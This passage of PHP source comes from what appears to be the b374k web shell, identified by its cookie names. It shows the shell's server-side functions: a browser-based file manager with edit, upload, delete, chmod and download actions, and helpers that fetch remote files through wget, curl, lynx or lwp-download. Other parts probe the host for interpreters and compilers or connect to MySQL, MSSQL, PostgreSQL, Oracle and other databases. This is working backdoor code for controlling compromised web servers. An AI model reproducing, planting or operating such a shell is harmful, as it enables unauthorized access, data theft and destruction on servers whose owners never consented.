  529.             if (@is_file($s_p))
  530.                 return true;
  531.         }
  532.     }
  533.     if ($s_wget) {
  534.         $buff = exe("wget " . $s_u . " -O " . $s_p);
  535.         if (@is_file($s_p))
  536.             return true;
  537.     }
  538.     if ($s_curl) {
  539.         $buff = exe("curl " . $s_u . " -o " . $s_p);
  540.         if (@is_file($s_p))
  541.             return true;
  542.     }
  543.     if ($s_lynx) {
  544.         $buff = exe("lynx -source " . $s_u . " > " . $s_p);
  545.         if (@is_file($s_p))
  546.             return true;
  547.     }
  548.     if ($s_lwpdownload) {
  549.         $buff = exe("lwp-download " . $s_u . " " . $s_p);
  550.         if (@is_file($s_p))
  551.             return true;
  552.     }
  553.     return false;
  554. }
  555. function get_writabledir()
  556. {
  557.     if (!$s_d = getenv("TEMP"))
  558.         if (!$s_d = getenv("TMP"))
  559.             if (!$s_d = getenv("TMPDIR")) {
  560.                 if (@is_writable("/tmp"))
  561.                     $s_d = "/tmp/";
  562.                 else if (@is_writable("."))
  563.                     $s_d = "." . DS;
  564.             }
  565.     return cp($s_d);
  566. }
  567. function zip($s_srcarr, $s_dest)
  568. {
  569.     if (!extension_loaded('zip'))
  570.         return false;
  571.     if (class_exists("ZipArchive")) {
  572.         $s_zip = new ZipArchive();
  573.         if (!$s_zip->open($s_dest, 1))
  574.             return false;
  575.         if (!is_array($s_srcarr))
  576.             $s_srcarr = array(
  577.                 $s_srcarr
  578.             );
  579.         foreach ($s_srcarr as $s_src) {
  580.             $s_src = str_replace('\\', '/', $s_src);
  581.             if (@is_dir($s_src)) {
  582.                 $s_files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($s_src), 1);
  583.                 foreach ($s_files as $s_file) {
  584.                     $s_file = str_replace('\\', '/', $s_file);
  585.                     if (in_array(substr($s_file, strrpos($s_file, '/') + 1), array(
  586.                         '.',
  587.                         '..'
  588.                     )))
  589.                         continue;
  590.                     if (@is_dir($s_file) === true)
  591.                         $s_zip->addEmptyDir(str_replace($s_src . '/', '', $s_file . '/'));
  592.                     else if (@is_file($s_file) === true)
  593.                         $s_zip->addFromString(str_replace($s_src . '/', '', $s_file), @fgc($s_file));
  594.                 }
  595.             } elseif (@is_file($s_src) === true)
  596.                 $s_zip->addFromString(basename($s_src), @fgc($s_src));
  597.         }
  598.         $s_zip->close();
  599.         return true;
  600.     }
  601. }
  602. function check_access($s_lang)
  603. {
  604.     $s_s = false;
  605.     $ver = "";
  606.     switch ($s_lang) {
  607.         case "python":
  608.             $s_cek = strtolower(exe("python -h"));
  609.             if (strpos($s_cek, "usage") !== false)
  610.                 $ver = exe("python -V");
  611.             break;
  612.         case "perl":
  613.             $s_cek = strtolower(exe("perl -h"));
  614.             if (strpos($s_cek, "usage") !== false)
  615.                 $ver = exe("perl -e \"print \$]\"");
  616.             break;
  617.         case "ruby":
  618.             $s_cek = strtolower(exe("ruby -h"));
  619.             if (strpos($s_cek, "usage") !== false)
  620.                 $ver = exe("ruby -v");
  621.             break;
  622.         case "node":
  623.             $s_cek = strtolower(exe("node -h"));
  624.             if (strpos($s_cek, "usage") !== false)
  625.                 $ver = exe("node -v");
  626.             break;
  627.         case "nodejs":
  628.             $s_cek = strtolower(exe("nodejs -h"));
  629.             if (strpos($s_cek, "usage") !== false)
  630.                 $ver = exe("nodejs -v");
  631.             break;
  632.         case "gcc":
  633.             $s_cek = strtolower(exe("gcc --help"));
  634.             if (strpos($s_cek, "usage") !== false) {
  635.                 $s_ver = exe("gcc --version");
  636.                 $s_ver = explode("\n", $s_ver);
  637.                 if (count($s_ver) > 0)
  638.                     $ver = $s_ver[0];
  639.             }
  640.             break;
  641.         case "tar":
  642.             $s_cek = strtolower(exe("tar --help"));
  643.             if (strpos($s_cek, "usage") !== false) {
  644.                 $s_ver = exe("tar --version");
  645.                 $s_ver = explode("\n", $s_ver);
  646.                 if (count($s_ver) > 0)
  647.                     $ver = $s_ver[0];
  648.             }
  649.             break;
  650.         case "java":
  651.             $s_cek = strtolower(exe("java -help"));
  652.             if (strpos($s_cek, "usage") !== false)
  653.                 $ver = str_replace("\n", ", ", exe("java -version"));
  654.             break;
  655.         case "javac":
  656.             $s_cek = strtolower(exe("javac -help"));
  657.             if (strpos($s_cek, "usage") !== false)
  658.                 $ver = str_replace("\n", ", ", exe("javac -version"));
  659.             break;
  660.         case "wget":
  661.             $s_cek = strtolower(exe("wget --help"));
  662.             if (strpos($s_cek, "usage") !== false) {
  663.                 $s_ver = exe("wget --version");
  664.                 $s_ver = explode("\n", $s_ver);
  665.                 if (count($s_ver) > 0)
  666.                     $ver = $s_ver[0];
  667.             }
  668.             break;
  669.         case "lwpdownload":
  670.             $s_cek = strtolower(exe("lwp-download --help"));
  671.             if (strpos($s_cek, "usage") !== false) {
  672.                 $s_ver = exe("lwp-download --version");
  673.                 $s_ver = explode("\n", $s_ver);
  674.                 if (count($s_ver) > 0)
  675.                     $ver = $s_ver[0];
  676.             }
  677.             break;
  678.         case "lynx":
  679.             $s_cek = strtolower(exe("lynx --help"));
  680.             if (strpos($s_cek, "usage") !== false) {
  681.                 $s_ver = exe("lynx -version");
  682.                 $s_ver = explode("\n", $s_ver);
  683.                 if (count($s_ver) > 0)
  684.                     $ver = $s_ver[0];
  685.             }
  686.             break;
  687.         case "curl":
  688.             $s_cek = strtolower(exe("curl --help"));
  689.             if (strpos($s_cek, "usage") !== false) {
  690.                 $s_ver = exe("curl --version");
  691.                 $s_ver = explode("\n", $s_ver);
  692.                 if (count($s_ver) > 0)
  693.                     $ver = $s_ver[0];
  694.             }
  695.             break;
  696.         default:
  697.             return false;
  698.     }
  699.     if (!empty($ver))
  700.         $s_s = $ver;
  701.     return $s_s;
  702. }
  703. function showdir($s_cwd)
  704. {
  705.     global $s_self, $s_win, $s_posix, $s_tar;
  706.     $s_fname      = $s_dname = array();
  707.     $s_total_file = $s_total_dir = 0;
  708.     if ($s_dh = @opendir($s_cwd)) {
  709.         while ($s_file = @readdir($s_dh)) {
  710.             if (@is_dir($s_file))
  711.                 $s_dname[] = $s_file;
  712.             elseif (@is_file($s_file))
  713.                 $s_fname[] = $s_file;
  714.         }
  715.         closedir($s_dh);
  716.     }
  717.     natcasesort($s_fname);
  718.     natcasesort($s_dname);
  719.     $s_list = array_merge($s_dname, $s_fname);
  720.     if ($s_win) {
  721.         chdir("..");
  722.         if (cp(getcwd()) == cp($s_cwd))
  723.             array_unshift($s_list, ".");
  724.         chdir($s_cwd);
  725.     }
  726.     $s_path   = explode(DS, $s_cwd);
  727.     $s_tree   = sizeof($s_path);
  728.     $s_parent = "";
  729.     if ($s_tree > 2)
  730.         for ($s_i = 0; $s_i < $s_tree - 2; $s_i++)
  731.             $s_parent .= $s_path[$s_i] . DS;
  732.     else
  733.         $s_parent = $s_cwd;
  734.     $s_owner_html = (!$s_win && $s_posix) ? "<th style='width:140px;min-width:140px;'>owner:group</th>" : "";
  735.     $s_colspan    = (!$s_win && $s_posix) ? "5" : "4";
  736.     $s_buff       = "<table class='explore sortable'><thead><tr><th style='width:24px;min-width:24px;' class='sorttable_nosort'></th><th style='min-width:150px;'>name</th><th style='width:74px;min-width:74px;'>size</th>" . $s_owner_html . "<th style='width:80px;min-width:80px;'>perms</th><th style='width:150px;min-width:150px;'>modified</th><th style='width:200px;min-width:200px;' class='sorttable_nosort'>action</th></tr></thead><tbody>";
  737.     foreach ($s_list as $s_l) {
  738.         if (!$s_win && $s_posix) {
  739.             $s_name       = posix_getpwuid(fileowner($s_l));
  740.             $s_group      = posix_getgrgid(filegroup($s_l));
  741.             $s_owner      = $s_name['name'] . "<span class='gaya'>:</span>" . $s_group['name'];
  742.             $s_owner_html = "<td style='text-align:center;'>" . $s_owner . "</td>";
  743.         }
  744.         $s_lhref = $s_lname = $s_laction = "";
  745.         if (@is_dir($s_l)) {
  746.             if ($s_l == ".") {
  747.                 $s_lhref   = $s_self . "cd=" . pl($s_cwd);
  748.                 $s_lsize   = "LINK";
  749.                 $s_laction = "<span id='titik1'><a href='" . $s_self . "cd=" . pl($s_cwd) . "&find=" . pl($s_cwd) . "'>find</a> | <a href='" . $s_self . "cd=" . pl($s_cwd) . "&x=upload" . "'>upl</a> | <a href='" . $s_self . "cd=" . pl($s_cwd) . "&edit=" . pl($s_cwd) . "newfile_1&new=yes" . "'>+file</a> | <a href=\"javascript:tukar('titik1','', 'mkdir','newfolder_1');\">+dir</a></span><div id='titik1_form'></div>";
  750.             } elseif ($s_l == "..") {
  751.                 $s_lhref   = $s_self . "cd=" . pl($s_parent);
  752.                 $s_lsize   = "LINK";
  753.                 $s_laction = "<span id='titik2'><a href='" . $s_self . "cd=" . pl($s_parent) . "&find=" . pl($s_parent) . "'>find</a> | <a href='" . $s_self . "cd=" . pl($s_parent) . "&x=upload" . "'>upl</a> | <a href='" . $s_self . "cd=" . pl($s_parent) . "&edit=" . pl($s_parent) . "newfile_1&new=yes" . "'>+file</a> | <a href=\"javascript:tukar('titik2','" . adds($s_parent) . "', 'mkdir','newfolder_1');\">+dir</a></span><div id='titik2_form'></div>";
  754.             } else {
  755.                 $s_lhref   = $s_self . "cd=" . pl($s_cwd . $s_l . DS);
  756.                 $s_lsize   = "DIR";
  757.                 $s_laction = "<span id='" . cs($s_l) . "_'><a href='" . $s_self . "cd=" . pl($s_cwd . $s_l . DS) . "&find=" . pl($s_cwd . $s_l . DS) . "'>find</a> | <a href='" . $s_self . "cd=" . pl($s_cwd . $s_l . DS) . "&x=upload" . "'>upl</a> | <a href=\"javascript:tukar('" . cs($s_l) . "_','','rename','" . adds($s_l) . "','" . adds($s_l) . "');\">ren</a> | <a href='" . $s_self . "cd=" . pl($s_cwd) . "&del=" . pl($s_l) . "'>del</a></span><div id='" . cs($s_l) . "__form'></div>";
  758.                 $s_total_dir++;
  759.             }
  760.             $s_lname    = "[ " . $s_l . " ]";
  761.             $s_lsizetit = "0";
  762.             $s_lnametit = "dir : " . $s_l;
  763.         } else {
  764.             $s_lhref    = $s_self . "view=" . pl($s_cwd . $s_l);
  765.             $s_lname    = $s_l;
  766.             $s_lsize    = gs($s_l);
  767.             $s_lsizetit = @filesize($s_l);
  768.             $s_lnametit = "file : " . $s_l;
  769.             $s_laction  = "<span id='" . cs($s_l) . "_'><a href='" . $s_self . "edit=" . pl($s_cwd . $s_l) . "'>edit</a> | <a href='" . $s_self . "hexedit=" . pl($s_cwd . $s_l) . "'>hex</a> | <a href=\"javascript:tukar('" . cs($s_l) . "_','','rename','" . adds($s_l) . "','" . adds($s_l) . "');\">ren</a> | <a href='" . $s_self . "del=" . pl($s_cwd . $s_l) . "'>del</a> | <a href='" . $s_self . "dl=" . pl($s_cwd . $s_l) . "'>dl</a></span><div id='" . cs($s_l) . "__form'></div>";
  770.             $s_total_file++;
  771.         }
  772.         $s_cboxval = $s_cwd . $s_l;
  773.         if ($s_l == '.')
  774.             $s_cboxval = $s_cwd;
  775.         if ($s_l == '..')
  776.             $s_cboxval = $s_parent;
  777.         $s_cboxes_id = substr(md5($s_lhref), 0, 8);
  778.         $s_cboxes    = "<input id='" . $s_cboxes_id . "' name='cbox' value='" . hss($s_cboxval) . "' type='checkbox' class='css-checkbox' onchange='hilite(this);' /><label for='" . $s_cboxes_id . "' class='css-label'></label>";
  779.         $s_ltime     = filemtime($s_l);
  780.         $s_buff .= "<tr><td style='text-align:center;text-indent:4px;'>" . $s_cboxes . "</td><td class='xpl' title='" . $s_lnametit . "' ondblclick=\"return go('" . adds($s_lhref) . "',event);\"><a href='" . $s_lhref . "'>" . $s_lname . "</a></td><td title='" . $s_lsizetit . "'>" . $s_lsize . "</td>" . $s_owner_html . "<td class='ce'>" . gp($s_l) . "</td><td class='ce' title='" . $s_ltime . "'>" . @date("d-M-Y H:i:s", $s_ltime) . "</td><td>" . $s_laction . "</td></tr>";
  781.     }
  782.     $s_buff .= "</tbody>";
  783.     $s_extract  = "";
  784.     $s_compress = "";
  785.     if (class_exists("ZipArchive")) {
  786.         $s_extract .= "<option value='extractzip'>extract (zip)</option>";
  787.         $s_compress .= "<option value='compresszip'>compress (zip)</option>";
  788.     }
  789.     if ($s_tar) {
  790.         $s_extract .= "<option value='extracttar'>extract (tar)</option><option value='extracttargz'>extract (tar.gz)</option>";
  791.         $s_compress .= "<option value='compresstar'>compress (tar)</option><option value='compresstargz'>compress (tar.gz)</option>";
  792.     }
  793.     $s_extcom = ($s_extract != "" && $s_compress != "") ? $s_extract . "<option value='' disabled>-</option>" . $s_compress : $s_extract . $s_compress;
  794.     $s_buff .= "<tfoot><tr class='cbox_selected'><td class='cbox_all'><input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' /> <label for='checkalll' class='css-label'></label></td><td><form action='" . $s_self . "' method='post'><select id='massact' class='inputzbut' onchange='massactgo();' style='width:100%;height:20px;margin:0;'><option value='' disabled selected>Action</option><option value='cut'>cut</option><option value='copy'>copy</option><option value='paste'>paste</option><option value='delete'>delete</option><option value='' disabled>-</option><option value='chmod'>chmod</option><option value='touch'>touch</option><option value='' disabled>-</option>" . $s_extcom . "</select><noscript><input type='button' value='Go !' class='inputzbut' onclick='massactgo();' /></noscript></form></td><td colspan='" . $s_colspan . "' style='text-align:left;'>Total : " . $s_total_file . " files, " . $s_total_dir . " Directories<span id='total_selected'></span></td></tr></tfoot></table>";
  795.     return $s_buff;
  796. }
  797. function sql_connect($s_sqltype, $s_sqlhost, $s_sqluser, $s_sqlpass)
  798. {
  799.     if ($s_sqltype == 'mysql') {
  800.         if (class_exists('mysqli'))
  801.             return new mysqli($s_sqlhost, $s_sqluser, $s_sqlpass);
  802.         elseif (function_exists('mysql_connect'))
  803.             return @mysql_connect($s_sqlhost, $s_sqluser, $s_sqlpass);
  804.     } elseif ($s_sqltype == 'mssql') {
  805.         if (function_exists('sqlsrv_connect')) {
  806.             $s_coninfo = array(
  807.                 "UID" => $s_sqluser,
  808.                 "PWD" => $s_sqlpass
  809.             );
  810.             return @sqlsrv_connect($s_sqlhost, $s_coninfo);
  811.         } elseif (function_exists('mssql_connect'))
  812.             return @mssql_connect($s_sqlhost, $s_sqluser, $s_sqlpass);
  813.     } elseif ($s_sqltype == 'pgsql') {
  814.         $s_hosts = explode(":", $s_sqlhost);
  815.         if (count($s_hosts) == 2) {
  816.             $s_host_str = "host=" . $s_hosts[0] . " port=" . $s_hosts[1];
  817.         } else
  818.             $s_host_str = "host=" . $s_sqlhost;
  819.         if (function_exists('pg_connect'))
  820.             return @pg_connect("$s_host_str user=$s_sqluser password=$s_sqlpass");
  821.     } elseif ($s_sqltype == 'oracle') {
  822.         if (function_exists('oci_connect'))
  823.             return @oci_connect($s_sqluser, $s_sqlpass, $s_sqlhost);
  824.     } elseif ($s_sqltype == 'sqlite3') {
  825.         if (class_exists('SQLite3'))
  826.             if (!empty($s_sqlhost))
  827.                 return new SQLite3($s_sqlhost);
  828.             else
  829.                 return false;
  830.     } elseif ($s_sqltype == 'sqlite') {
  831.         if (function_exists('sqlite_open'))
  832.             return @sqlite_open($s_sqlhost);
  833.     } elseif ($s_sqltype == 'odbc') {
  834.         if (function_exists('odbc_connect'))
  835.             return @odbc_connect($s_sqlhost, $s_sqluser, $s_sqlpass);
  836.     } elseif ($s_sqltype == 'pdo') {
  837.         if (class_exists('PDO'))
  838.             if (!empty($s_sqlhost))
  839.                 return new PDO($s_sqlhost, $s_sqluser, $s_sqlpass);
  840.             else
  841.                 return false;
  842.     }
  843.     return false;
  844. }
  845. function sql_query($s_sqltype, $s_query, $s_con)
  846. {
  847.     if ($s_sqltype == 'mysql') {
  848.         if (class_exists('mysqli'))
  849.             return $s_con->query($s_query);
  850.         elseif (function_exists('mysql_query'))
  851.             return mysql_query($s_query);
  852.     } elseif ($s_sqltype == 'mssql') {
  853.         if (function_exists('sqlsrv_query'))
  854.             return sqlsrv_query($s_con, $s_query);
  855.         elseif (function_exists('mssql_query'))
  856.             return mssql_query($s_query);
  857.     } elseif ($s_sqltype == 'pgsql')
  858.         return pg_query($s_query);
  859.     elseif ($s_sqltype == 'oracle')
  860.         return oci_execute(oci_parse($s_con, $s_query));
  861.     elseif ($s_sqltype == 'sqlite3')
  862.         return $s_con->query($s_query);
  863.     elseif ($s_sqltype == 'sqlite')
  864.         return sqlite_query($s_con, $s_query);
  865.     elseif ($s_sqltype == 'odbc')
  866.         return odbc_exec($s_con, $s_query);
  867.     elseif ($s_sqltype == 'pdo')
  868.         return $s_con->query($s_query);
  869. }
  870. function sql_num_rows($s_sqltype, $s_hasil)
  871. {
  872.     if ($s_sqltype == 'mysql') {
  873.         if (class_exists('mysqli_result'))
  874.             return $s_hasil->mysqli_num_rows;
  875.         elseif (function_exists('mysql_num_rows'))
  876.             return mysql_num_rows($s_hasil);
  877.     } elseif ($s_sqltype == 'mssql') {
  878.         if (function_exists('sqlsrv_num_rows'))
  879.             return sqlsrv_num_rows($s_hasil);
  880.         elseif (function_exists('mssql_num_rows'))
  881.             return mssql_num_rows($s_hasil);
  882.     } elseif ($s_sqltype == 'pgsql')
  883.         return pg_num_rows($s_hasil);
  884.     elseif ($s_sqltype == 'oracle')
  885.         return oci_num_rows($s_hasil);
  886.     elseif ($s_sqltype == 'sqlite3') {
  887.         $s_metadata = $s_hasil->fetchArray();
  888.         if (is_array($s_metadata))
  889.             return $s_metadata['count'];
  890.     } elseif ($s_sqltype == 'sqlite')
  891.         return sqlite_num_rows($s_hasil);
  892.     elseif ($s_sqltype == 'odbc')
  893.         return odbc_num_rows($s_hasil);
  894.     elseif ($s_sqltype == 'pdo')
  895.         return $s_hasil->rowCount();
  896. }
  897. function sql_num_fields($s_sqltype, $s_hasil)
  898. {
  899.     if ($s_sqltype == 'mysql') {
  900.         if (class_exists('mysqli_result'))
  901.             return $s_hasil->field_count;
  902.         elseif (function_exists('mysql_num_fields'))
  903.             return mysql_num_fields($s_hasil);
  904.     } elseif ($s_sqltype == 'mssql') {
  905.         if (function_exists('sqlsrv_num_fields'))
  906.             return sqlsrv_num_fields($s_hasil);
  907.         elseif (function_exists('mssql_num_fields'))
  908.             return mssql_num_fields($s_hasil);
  909.     } elseif ($s_sqltype == 'pgsql')
  910.         return pg_num_fields($s_hasil);
  911.     elseif ($s_sqltype == 'oracle')
  912.         return oci_num_fields($s_hasil);
  913.     elseif ($s_sqltype == 'sqlite3')
  914.         return $s_hasil->numColumns();
  915.     elseif ($s_sqltype == 'sqlite')
  916.         return sqlite_num_fields($s_hasil);
  917.     elseif ($s_sqltype == 'odbc')
  918.         return odbc_num_fields($s_hasil);
  919.     elseif ($s_sqltype == 'pdo')
  920.         return $s_hasil->columnCount();
  921. }
  922. function sql_field_name($s_sqltype, $s_hasil, $s_i)
  923. {
  924.     if ($s_sqltype == 'mysql') {
  925.         if (class_exists('mysqli_result')) {
  926.             $z = $s_hasil->fetch_field();
  927.             return $z->name;
  928.         } elseif (function_exists('mysql_field_name'))
  929.             return mysql_field_name($s_hasil, $s_i);
  930.     } elseif ($s_sqltype == 'mssql') {
  931.         if (function_exists('sqlsrv_field_metadata')) {
  932.             $s_metadata = sqlsrv_field_metadata($s_hasil);
  933.             if (is_array($s_metadata)) {
  934.                 $s_metadata = $s_metadata[$s_i];
  935.             }
  936.             if (is_array($s_metadata))
  937.                 return $s_metadata['Name'];
  938.         } elseif (function_exists('mssql_field_name'))
  939.             return mssql_field_name($s_hasil, $s_i);
  940.     } elseif ($s_sqltype == 'pgsql')
  941.         return pg_field_name($s_hasil, $s_i);
  942.     elseif ($s_sqltype == 'oracle')
  943.         return oci_field_name($s_hasil, $s_i + 1);
  944.     elseif ($s_sqltype == 'sqlite3')
  945.         return $s_hasil->columnName($s_i);
  946.     elseif ($s_sqltype == 'sqlite')
  947.         return sqlite_field_name($s_hasil, $s_i);
  948.     elseif ($s_sqltype == 'odbc')
  949.         return odbc_field_name($s_hasil, $s_i + 1);
  950.     elseif ($s_sqltype == 'pdo') {
  951.         $s_res = $s_hasil->getColumnMeta($s_i);
  952.         return $s_res['name'];
  953.     }
  954. }
  955. function sql_fetch_data($s_sqltype, $s_hasil)
  956. {
  957.     if ($s_sqltype == 'mysql') {
  958.         if (class_exists('mysqli_result'))
  959.             return $s_hasil->fetch_row();
  960.         elseif (function_exists('mysql_fetch_row'))
  961.             return mysql_fetch_row($s_hasil);
  962.     } elseif ($s_sqltype == 'mssql') {
  963.         if (function_exists('sqlsrv_fetch_array'))
  964.             return sqlsrv_fetch_array($s_hasil, 1);
  965.         elseif (function_exists('mssql_fetch_row'))
  966.             return mssql_fetch_row($s_hasil);
  967.     } elseif ($s_sqltype == 'pgsql')
  968.         return pg_fetch_row($s_hasil);
  969.     elseif ($s_sqltype == 'oracle')
  970.         return oci_fetch_row($s_hasil);
  971.     elseif ($s_sqltype == 'sqlite3')
  972.         return $s_hasil->fetchArray(1);
  973.     elseif ($s_sqltype == 'sqlite')
  974.         return sqlite_fetch_array($s_hasil, 1);
  975.     elseif ($s_sqltype == 'odbc')
  976.         return odbc_fetch_array($s_hasil);
  977.     elseif ($s_sqltype == 'pdo')
  978.         return $s_hasil->fetch(2);
  979. }
  980. function sql_close($s_sqltype, $s_con)
  981. {
  982.     if ($s_sqltype == 'mysql') {
  983.         if (class_exists('mysqli'))
  984.             return $s_con->close();
  985.         elseif (function_exists('mysql_close'))
  986.             return mysql_close($s_con);
  987.     } elseif ($s_sqltype == 'mssql') {
  988.         if (function_exists('sqlsrv_close'))
  989.             return sqlsrv_close($s_con);
  990.         elseif (function_exists('mssql_close'))
  991.             return mssql_close($s_con);
  992.     } elseif ($s_sqltype == 'pgsql')
  993.         return pg_close($s_con);
  994.     elseif ($s_sqltype == 'oracle')
  995.         return oci_close($s_con);
  996.     elseif ($s_sqltype == 'sqlite3')
  997.         return $s_con->close();
  998.     elseif ($s_sqltype == 'sqlite')
  999.         return sqlite_close($s_con);
  1000.     elseif ($s_sqltype == 'odbc')
  1001.         return odbc_close($s_con);
  1002.     elseif ($s_sqltype == 'pdo')
  1003.         return $s_con = null;
  1004. }
  1005. if (!function_exists('str_split')) {
  1006.     function str_split($s_t, $s_s = 1)
  1007.     {
  1008.         $s_a = array();
  1009.         for ($s_i = 0; $s_i < strlen($s_t);) {
  1010.             $s_a[] = substr($s_t, $s_i, $s_s);
  1011.             $s_i += $s_s;
  1012.         }
  1013.         return $s_a;
  1014.     }
  1015. }
  1016. $s_theme = "dark";
  1017. if (isset($_COOKIE['theme']))
  1018.     $s_theme = $_COOKIE['theme'];
  1019. if (isset($_GP['x']) && ($_GP['x'] == 'switch')) {
  1020.     if (isset($_COOKIE['theme']))
  1021.         $s_theme = $_COOKIE['theme'];
  1022.     if ($s_theme == "bright")
  1023.         $s_theme = "dark";
  1024.     else
  1025.         $s_theme = "bright";
  1026.     setcookie("theme", $s_theme, time() + $s_login_time);
  1027. }
  1028. $s_highlight_dark   = array(
  1029.     "4C9CAF",
  1030.     "888888",
  1031.     "87DF45",
  1032.     "EEEEEE",
  1033.     "FF8000"
  1034. );
  1035. $s_highlight_bright = array(
  1036.     "B36350",
  1037.     "777777",
  1038.     "7820BA",
  1039.     "111111",
  1040.     "007FFF"
  1041. );
  1042. global $s_self, $s_win, $s_posix;
  1043. $s_self = "?";
  1044. $s_cek1 = basename($_SERVER['SCRIPT_FILENAME']);
  1045. $s_cek2 = substr(basename(__FILE__), 0, strlen($s_cek1));
  1046. if (isset($_COOKIE['b374k_included'])) {
  1047.     if (strcmp($s_cek1, $s_cek2) != 0)
  1048.         $s_self = $_COOKIE['s_self'];
  1049.     else {
  1050.         $s_self = "?";
  1051.         setcookie("b374k_included", "0", time() - $s_login_time);
  1052.         setcookie("s_self", $s_self, time() + $s_login_time);
  1053.     }
  1054. } else {
  1055.     if (strcmp($s_cek1, $s_cek2) != 0) {
  1056.         if (!isset($_COOKIE['s_home'])) {
  1057.             $s_home = "?" . $_SERVER["QUERY_STRING"] . "&";
  1058.             setcookie("s_home", $s_home, time() + $s_login_time);
  1059.         }
  1060.         if (isset($s_home))
  1061.             $s_self = $s_home;
  1062.         elseif (isset($_COOKIE['s_home']))
  1063.             $s_self = $_COOKIE['s_home'];
  1064.         setcookie("b374k_included", "1", time() + $s_login_time);
  1065.         setcookie("s_self", $s_self, time() + $s_login_time);
  1066.     } else {
  1067.         $s_self = "?";
  1068.         setcookie("b374k_included", "0", time() - $s_login_time);
  1069.         setcookie("s_self", $s_self, time() + $s_login_time);
  1070.     }
  1071. }
  1072. $s_cwd = "";
  1073. if (isset($_GP['|']))
  1074.     showcode($s_css);
  1075. elseif (isset($_GP['!']))
  1076.     showcode($s_js);
  1077. if ($s_auth) {
  1078.     $s_software = getenv("SERVER_SOFTWARE");
  1079.     $s_system   = php_uname();
  1080.     $s_win      = (strtolower(substr($s_system, 0, 3)) == "win") ? true : false;
  1081.     $s_posix    = (function_exists("posix_getpwuid")) ? true : false;
  1082.     if (isset($_GP['cd'])) {
  1083.         $s_dd = $_GP['cd'];
  1084.         if (@is_dir($s_dd)) {
  1085.             $s_cwd = cp($s_dd);
  1086.             chdir($s_cwd);
  1087.             setcookie("cwd", $s_cwd, time() + $s_login_time);
  1088.         } else
  1089.             $s_cwd = isset($_COOKIE['cwd']) ? cp($_COOKIE['cwd']) : cp(getcwd());
  1090.         ;
  1091.     } else {
  1092.         if (isset($_COOKIE['cwd'])) {
  1093.             $s_dd = ss($_COOKIE['cwd']);
  1094.             if (@is_dir($s_dd)) {
  1095.                 $s_cwd = cp($s_dd);
  1096.                 chdir($s_cwd);
  1097.             }
  1098.         } else
  1099.             $s_cwd = cp(getcwd());
  1100.     }
  1101.     if (!$s_win && $s_posix) {
  1102.         $s_userarr = posix_getpwuid(posix_geteuid());
  1103.         if (isset($s_userarr['name']))
  1104.             $s_user = $s_userarr['name'];
  1105.         else
  1106.             $s_user = "$";
  1107.     } else {
  1108.         $s_user = get_current_user();
  1109.     }
  1110.     $s_prompt    = $s_user . " &gt;";
  1111.     $s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]);
  1112.     $s_my_ip     = $_SERVER['REMOTE_ADDR'];
  1113.     $s_result    = "";
  1114.     global $s_python, $s_perl, $s_ruby, $s_node, $s_nodejs, $s_gcc, $s_java, $s_javac, $s_tar, $s_wget, $s_lwpdownload, $s_lynx, $s_curl;
  1115.     $s_access = array(
  1116.         "s_python",
  1117.         "s_perl",
  1118.         "s_ruby",
  1119.         "s_node",
  1120.         "s_nodejs",
  1121.         "s_gcc",
  1122.         "s_java",
  1123.         "s_javac",
  1124.         "s_tar",
  1125.         "s_wget",
  1126.         "s_lwpdownload",
  1127.         "s_lynx",
  1128.         "s_curl"
  1129.     );
  1130.     foreach ($s_access as $s) {
  1131.         if (isset($_COOKIE[$s])) {
  1132.             $$s = $_COOKIE[$s];
  1133.         } else {
  1134.             if (!isset($_COOKIE['b374k'])) {
  1135.                 $t = explode("_", $s);
  1136.                 $t = check_access($t[1]);
  1137.                 if ($t !== false) {
  1138.                     $$s = $t;
  1139.                     setcookie($s, $$s, time() + $s_login_time);
  1140.                 }
  1141.             }
  1142.         }
  1143.     }
  1144.     if (isset($_GP['dl']) && ($_GP['dl'] != "")) {
  1145.         ob_end_clean();
  1146.         $f  = $_GP['dl'];
  1147.         $fc = fgc($f);
  1148.         header("Content-type: application/octet-stream");
  1149.         header("Content-length: " . strlen($fc));
  1150.         header("Content-disposition: attachment; filename=\"" . basename($f) . "\";");
  1151.         echo $fc;
  1152.         die();
  1153.     }
  1154.     if (isset($_GP['z'])) {
  1155.         $s_massact = isset($_COOKIE['massact']) ? $_COOKIE['massact'] : "";
  1156.         $s_buffer  = isset($_COOKIE['buffer']) ? rtrim(ss($_COOKIE['buffer']), "|") : "";
  1157.         $s_lists   = explode("|", $s_buffer);
  1158.         $s_counter = 0;
  1159.         if (!empty($s_buffer)) {
  1160.             if ($_GP['z'] == 'moveok') {
  1161.                 foreach ($s_lists as $s_l)
  1162.                     if (rename($s_l, $s_cwd . basename($s_l)))
  1163.                         $s_counter++;
  1164.                 if ($s_counter > 0)
  1165.                     $s_result .= notif($s_counter . " items moved");
  1166.                 else
  1167.                     $s_result .= notif("No items moved");
  1168.             } elseif ($_GP['z'] == 'copyok') {
  1169.                 foreach ($s_lists as $s_l) {
  1170.                     if (@is_dir($s_l)) {
  1171.                         copys($s_l, $s_cwd . basename($s_l));
  1172.                         if (file_exists($s_cwd . basename($s_l)))
  1173.                             $s_counter++;
  1174.                     } elseif (@is_file($s_l)) {
  1175.                         copy($s_l, $s_cwd . basename($s_l));
  1176.                         if (file_exists($s_cwd . basename($s_l)))
  1177.                             $s_counter++;
  1178.                     }
  1179.                 }
  1180.                 if ($s_counter > 0)
  1181.                     $s_result .= notif($s_counter . " items copied");
  1182.                 else
  1183.                     $s_result .= notif("No items copied");
  1184.             } elseif ($_GP['z'] == 'delok') {
  1185.                 foreach ($s_lists as $s_l) {
  1186.                     if (@is_file($s_l)) {
  1187.                         if (unlink($s_l))
  1188.                             $s_counter++;
  1189.                     } elseif (@is_dir($s_l)) {
  1190.                         rmdirs($s_l);
  1191.                         if (!file_exists($s_l))
  1192.                             $s_counter++;
  1193.                     }
  1194.                 }
  1195.                 if ($s_counter > 0)
  1196.                     $s_result .= notif($s_counter . " items deleted");
  1197.                 else
  1198.                     $s_result .= notif("No items deleted");
  1199.             } elseif (isset($_GP['chmodok'])) {
  1200.                 $s_mod = octdec($_GP['chmodok']);
  1201.                 foreach ($s_lists as $s_l)
  1202.                     if (chmod($s_l, $s_mod))
  1203.                         $s_counter++;
  1204.                 if ($s_counter > 0)
  1205.                     $s_result .= notif($s_counter . " items changed mode to " . decoct($s_mod));
  1206.                 else
  1207.                     $s_result .= notif("No items modified");
  1208.             } elseif (isset($_GP['touchok'])) {
